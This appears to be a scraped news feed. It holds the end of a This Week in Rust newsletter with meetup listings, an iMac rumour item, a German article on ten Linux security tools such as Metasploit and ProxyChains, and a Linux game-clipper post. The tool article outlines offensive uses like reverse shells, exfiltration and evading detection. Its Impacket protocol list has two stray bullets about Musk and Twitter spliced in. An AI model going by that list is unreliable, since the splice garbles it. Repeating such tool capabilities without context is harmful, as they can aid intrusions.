<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[Apple’s New iMac Coming This Year, OLED Version Planned]]></title>
<description><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that...]]></description>
<link>https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that Apple has finished work on the new iMac models, which carry the internal codes J833 and J834. The machines are expected to arrive in the fall alongside a wider Mac refresh that includes new MacBook Pro models and other desktop updates.



The next iMac will feature a newer Apple silicon chip, although the exact processor remains unclear. Apple could use the existing M5 chip or move directly to the upcoming M6 chip, depending on the final release schedule and component availability.



No major design changes are expected, so the new model will likely retain the current 24-inch LCD display, slim body, and colorful finish options. Apple is also expected to keep two configurations with different CPU and GPU core counts, port options, and performance levels.



OLED iMac is also in development



Apple is also working on a future iMac with an OLED display, although that model remains further away. OLED technology would bring deeper blacks, stronger contrast, and richer colors compared with the LCD panel used in the current iMac.



The company has not released a larger iMac since discontinuing the 27-inch Intel model in 2022. Rumors about a bigger Apple silicon iMac have continued for years, but Apple has not introduced one.



The current iMac now starts at $1,499 in the United States after Apple raised Mac prices last month.]]></content:encoded>
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<title><![CDATA[10 Linux-Pflicht-Tools für Netzwerk- und Security-Profis]]></title>
<description><![CDATA[Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. 
					Foto: Omelchenko – shutterstock.com




Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und Security-Experten gehen, di...]]></description>
<link>https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " title="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " src="https://images.computerwoche.de/bdb/3340356/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. </p></figcaption></figure><p class="imageCredit">
					Foto: Omelchenko – shutterstock.com</p></div>




<p class="wp-block-paragraph">Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und <a href="https://www.csoonline.com/de/" title="Security-Experten" target="_blank">Security-Experten</a> gehen, die quelloffene Security Tools für <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> suchen.</p>



<p class="wp-block-paragraph">In diesem Bereich gibt es eine Vielzahl verschiedener Tools für so gut wie jede Aufgabe (Netzwerk-Tunneling, Sniffing, Scanning, Mapping) und jede Umgebung (Wi-Fi-Netzwerke, Webanwendungen, Datenbankserver). Wir haben einige Experten konsultiert und zehn essenzielle <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Sicherheitstools für Sie zusammengestellt.</p>



<h2 class="wp-block-heading">1. <a href="https://www.aircrack-ng.org/" target="_blank" rel="noreferrer noopener">Aircrack-ng</a></h2>



<p class="wp-block-paragraph">Diese Suite von Software Tools ermöglicht es, drahtlose Netzwerke und WiFi-Protokolle Sicherheitsüberprüfungen zu unterziehen. Sicherheitsprofis verwenden das Tool für die Netzwerkadministration, Hacking und Penetrationstests. Dabei fokussiert Aircrack-ng auf:</p>



<ul class="wp-block-list">
<li><p>Monitoring (Datenpakete erfassen und Daten in Textdateien zur Weiterverarbeitung durch Tools von Drittanbietern exportieren)</p></li>



<li><p>Angreifen (Replay-Angriffe, Deauthentication, Packet Injection)</p></li>



<li><p>Testing (WiFi-Karten und Treiberfunktionen überprüfen) und</p></li>



<li><p>Cracking (WEP und WPA PSK)</p></li>
</ul>



<p class="wp-block-paragraph">Laut der <a href="https://www.aircrack-ng.org/" title="offiziellen Webseite" target="_blank" rel="noopener">offiziellen Webseite</a> funktionieren alle Tools kommandozeilenbasiert, was eine umfangreiche Skripterstellung ermöglicht. Das Tool funktioniert mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> genauso wie mit <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, macOS, FreeBSD, OpenBSD, NetBSD, Solaris und sogar eComStation.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">2. <a href="https://portswigger.net/burp/pro" target="_blank" rel="noreferrer noopener">Burp Suite</a></h2>



<p class="wp-block-paragraph">Hierbei handelt es sich um eine Testing-Suite für Webanwendungen, die für Security Assessments von Websites eingesetzt wird. Burp Suite arbeitet als lokale Proxy-Lösung, die es Sicherheitsexperten ermöglicht, Anfragen (HTTP/Websockets) und Antworten zwischen einem Webserver und einem Browser</p>



<ul class="wp-block-list">
<li><p>entschlüsseln,</p></li>



<li><p>beobachten,</p></li>



<li><p>manipulieren und</p></li>



<li><p>wiederholen zu können.</p></li>
</ul>



<p class="wp-block-paragraph">Burp Suite hat einen passiven Scanner an Bord, mit dem Security-Profis Webseiten (manuell) auf potenzielle Schwachstellen überprüfen können. Die Pro-Version bietet außerdem einen sehr nützlichen aktiven Web-Schwachstellen-Scanner, mit dem sich weitere Schwachstellen aufspüren lassen. Burp Suite ist über Plugins erweiterbar, so dass Sicherheitsexperten ihre eigenen Erweiterungen entwickeln können.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Die Professional-Version kostet 475 Euro pro Jahr und Benutzer. Darüber hinaus steht auch eine Enterprise-Version (ab ca. 2.000 Euro jährlich) zur Verfügung, die mehrere gleichzeitige Scans ermöglicht und von Anwendungsentwicklungsteams genutzt werden kann.</p>



<h2 class="wp-block-heading">3. <a href="https://github.com/fortra/impacket" target="_blank" rel="noreferrer noopener">Impacket</a></h2>



<p class="wp-block-paragraph">Diese Sammlung von Tools ist für Pen-Tests von Netzwerkprotokollen und -diensten unerlässlich. Impacket wurde von SecureAuth entwickelt und ist eine Sammlung von Python Classes, um mit Netzwerkprotokollen zu arbeiten. Impacket konzentriert sich auf die Bereitstellung von Low-Level-Zugriff auf Pakete und bei einigen Protokollen wie SMB1-3 und MSRPC auf die Protokollimplementierung selbst. Sicherheitsexperten können Pakete von Grund auf neu konstruieren, aber auch auf Grundlage geparster Rohdaten. Die objektorientierte <a title="API" href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">API</a> macht es zudem einfach, mit tiefen Protokollhierarchien zu arbeiten. Impacket unterstützt die folgenden Protokolle:</p>



<ul class="wp-block-list">
<li><p>Ethernet, Linux;</p></li>



<li><p>IP, TCP, UDP, ICMP, IGMP, ARP;</p></li>



<li><p>IPv4 und IPv6;</p></li>



<li><p>Umgänglicher zeigte sich Musk gegenüber den Anzeigenkunden von Twitter. In einem – natürlich auf Twitter geposteten – Brief erklärte der Tesla-Chef, der Grund für die Übernahme sei nicht, damit noch mehr Geld zu verdienen. Vielmehr sei es “wichtig für den Fortbestand der Zivilisation, einen gemeinsamen digitalen Treffpunkt zu haben, auf dem eine breite Palette von Überzeugungen auf gesunde Weise diskutiert werden kann.” </p></li>



<li><p>Trotz alledem dürfe Twitter nicht zu einer “für alle Nutzer freien Höllenlandschaft werden, in der alles ohne Konsequenzen gesagt werden kann”, fügte Musk hinzu. Zusätzlich zur Einhaltung der Gesetze müsse die Plattform “warmherzig und einladend” für alle sein und den Nutzern die Möglichkeit bieten, “die gewünschte Erfahrung nach ihren Vorlieben zu wählen” – ähnlich wie man zum Beispiel wählen kann, Filme zu sehen oder Videospiele zu spielen, die für alle Altersgruppen geeignet sind.</p></li>



<li><p>Plain-, NTLM- und Kerberos-Authentifizierungen, unter Verwendung von Kennwörtern/Hashes/Tickets/Schlüsseln;</p></li>



<li><p>EU-Kommissar Thierry Breton wiederum reagierte auf Musks Teet, dass der Vogel jetzt frei sein, mit der Anmerkung, “dass Twitter in Europa nach unseren Regeln fliegen muss”.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> Kostenlos – Impacket wird unter einer leicht modifizierten Version der Apache Software License bereitgestellt. Die Unterschiede können Sie <a href="https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_24/LICENSE" title="hier einsehen" target="_blank" rel="noopener">hier einsehen</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://www.metasploit.com/" target="_blank" rel="noreferrer noopener">Metasploit</a></h2>



<p class="wp-block-paragraph">Metasploit ist ein Exploit-Framework von Rapid7, das für allgemeine Penetrationstests und Schwachstellenbewertungen verwendet wird. Sicherheitsexperten betrachten es als “Super-Tool”, das funktionierende Versionen fast aller bekannter Exploits enthält. Metasploit ermöglicht Sicherheitsexperten, Netzwerke und Endpunkte auf Schwachstellen zu scannen und anschließend automatisiert mögliche Exploits auszuführen, um Systeme zu übernehmen.</p>



<p class="wp-block-paragraph">Metasploit erleichtert es mit protokollspezifischen Modulen (die alle unter der Funktion Auxiliary/Server/Capture laufen) Anmeldeinformationen zu erfassen. Sicherheitsexperten können jedes dieser Module einzeln starten und konfigurieren – zudem steht ein Capture-Plug-in zur Verfügung, das diesen Prozess vereinheitlicht.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Metasploit Pro kostet – inklusive kommerziellem Support durch Rapid7 – ab 12.000 Dollar pro Jahr. Es gibt aber auch eine kostenlose Version.</p>



<h2 class="wp-block-heading">5. <a href="https://nmap.org/ncat/" target="_blank" rel="noreferrer noopener">Ncat</a></h2>



<p class="wp-block-paragraph">Der Nachfolger des beliebten Tools Netcat heißt Ncat und kommt von den Machern von Nmap. Das Tool ermöglicht es, Daten per Kommandozeile über ein Netzwerk zu lesen und zu schreiben, bietet aber auch zusätzlich Funktionen wie SSL-Verschlüsselung. Sicherheitsexperten zufolge ist Ncat unerlässlich geworden, um TCP/UDP-Clients und -Server zu hosten und Daten von Angreifer- und Opfersystemen zu empfangen.</p>



<p class="wp-block-paragraph">Ncat ist auch ein beliebtes Tool, um eine Reverse Shell einzurichten oder Daten zu exfiltrieren. Es wurde als zuverlässiges Back-End-Tool entwickelt, um Netzwerkverbindungen zu anderen Anwendungen und Benutzern herzustellen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">6. <a href="https://nmap.org/" target="_blank" rel="noreferrer noopener">Nmap</a></h2>



<p class="wp-block-paragraph">Dieses Netzwerk-Scanning- und Mapping-Tool auf Kommandozeilen-Basis findet zugängliche Ports auf Remote Devices. Viele Sicherheitsexperten halten Nmap für eines der wichtigsten und effektivsten Tools – insbesondere im Bereich Penetration Testing ist es unerlässlich.</p>



<p class="wp-block-paragraph">Die Skripting-Engine von Nmap erkennt anschließend automatisiert weitere Schwachstellen und nutzt diese aus. Nmap unterstützt Dutzende fortschrittlicher Techniken, um Netzwerke mit IP-Filtern, Firewalls, Routern und anderen Hindernissen abzubilden. Dazu gehören auch zahlreiche Mechanismen, um TCP- und UDP-Ports zu scannen, Betriebssysteme und Versionen sowie Ping-Sweeps zu erkennen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">7. <a href="https://github.com/haad/proxychains" target="_blank" rel="noreferrer noopener">ProxyChains</a></h2>



<p class="wp-block-paragraph">Dieses Werkzeug – der De-facto-Standard für Netzwerk-Tunneling – ermöglicht es Sicherheitsexperten, Proxy-Befehle von ihrem angreifenden <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Rechner aus über verschiedene kompromittierte Rechner zu senden, um Netzwerkgrenzen und Firewalls zu überwinden und dabei einer Entdeckung zu entgehen.</p>



<p class="wp-block-paragraph">ProxyChains leitet den TCP-Verkehr von Penetrationstestern durch die folgenden Proxys: TOR, SOCKS und HTTP. ProxyChains ist mit TCP-Aufklärungs-Tools wie NMAP kompatibel und verwendet standardmäßig das TOR-Netzwerk. Sicherheitsexperten verwenden ProxyChains auch bei der IDS/IPS-Erkennung.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">8. <a href="https://github.com/SpiderLabs/Responder" target="_blank" rel="noreferrer noopener">Responder</a></h2>



<p class="wp-block-paragraph">Responder ist ein NBT-NS (NetBIOS Name Service), LLMNR (Link-Local Multicast Name Resolution) und mDNS (Multicast DNS) Poisoner. Penetration Tester nutzen das Tool, um Angriffe zu simulieren, die darauf abzielen, Anmeldeinformationen und andere Daten während des Prozesses der Namensauflösung zu stehlen, wenn der DNS-Server keinen Eintrag findet. Ab Version 3.1.1.0 bietet Responder standardmäßig vollen IPv6-Support.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">9. <a href="https://sqlmap.org/" target="_blank" rel="noreferrer noopener">sqlmap</a></h2>



<p class="wp-block-paragraph">Das <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Open-Source</a>-Tool sqlmap richtet sich ebenfalls an Penetrationstester und automatisiert den Prozess, SQL-Injection-Fehler zu erkennen, mit deren Hilfe Datenbankserver kompromittiert werden könnten. Das Tool verfügt über eine leistungsstarke Erkennungs-Engine und bietet zahlreiche Funktionen, darunter Datenbank-Fingerprinting und die Ausführung von Befehlen auf Betriebssystemebene über Out-of-Band-Verbindungen.</p>



<p class="wp-block-paragraph">Sqlmap unterstützt eine breite Palette von Datenbankservern, darunter:</p>



<ul class="wp-block-list">
<li><p>MySQL,</p></li>



<li><p>Oracle,</p></li>



<li><p>PostgreSQL,</p></li>



<li><p>Microsoft SQL Server,</p></li>



<li><p>Microsoft Access,</p></li>



<li><p>IBM DB2,</p></li>



<li><p>SQLite,</p></li>



<li><p>Firebird,</p></li>



<li><p>Sybase,</p></li>



<li><p>SAP MaxDB und</p></li>



<li><p>HSQLDB.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">10. <a href="https://www.wireshark.org/" target="_blank" rel="noreferrer noopener">Wireshark</a></h2>



<p class="wp-block-paragraph">Das Netzwerkprotokoll-Analyse-Tool Wireshark wird auch oft als Network Interface Sniffer bezeichnet. Mit Wireshark können Sicherheitsexperten das Netzwerkverhalten eines Geräts beobachten, um zu sehen, mit welchen anderen Geräten es kommuniziert und warum.</p>



<p class="wp-block-paragraph">Sicherheitsexperten zufolge eignet sich Wireshark hervorragend, um herauszufinden, wo sich DNS-Server und andere Dienste befinden, mit denen sich ein Netzwerk weiter kompromittieren lässt. Wireshark läuft nicht nur unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, sondern funktioniert mit den allen gängigen Betriebssystemen, einschließlich <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, MacOs und Unix.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos </p>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.networkworld.com/article/970926/10-essential-linux-security-tools-for-network-professionals-and-security-practitioners.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Networkworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
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<title><![CDATA[Vice Game Clipper 2.0 released! (Linux Medal.tv alternative)]]></title>
<description><![CDATA[Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as: - Instant replay with customisable hotkeys, and long session recording - Free s...]]></description>
<link>https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</guid>
<pubDate>Thu, 23 Jul 2026 04:55:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as:</p> <p>- Instant replay with customisable hotkeys, and long session recording</p> <p>- Free share links that embed in Discord (no more hitting upload limits!)<br> - A full timeline editor with built in transition and text effects<br> - Automatically sorting clips by the game you were clipping<br> - Discord Rich Presence support<br> - Customisable, colour-coded highlights within clips</p> <p>- You can seperate audio sources like Discord calls, the game audio, and music, adjust their individual volume in clips</p> <p>- And more, plus new features are always being added.</p> <p>It's free, open source, and will stay that way. Any feedback is greatly appreciated, because community testing is what makes open source projects like these better.</p> <p>It's on the AUR, and you can install with:</p> <blockquote> </blockquote> <p>Or if you're on a different distro, you can run the install script with:</p> <blockquote> </blockquote> <p>Repo is below:</p> <p><a href="https://github.com/eklonofficial/Vice">https://github.com/eklonofficial/Vice</a> </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/LinuxBaka"> /u/LinuxBaka </a> <br> <span><a href="https://i.redd.it/15tbd1ss3weh1.png">[link]</a></span>   <span><a 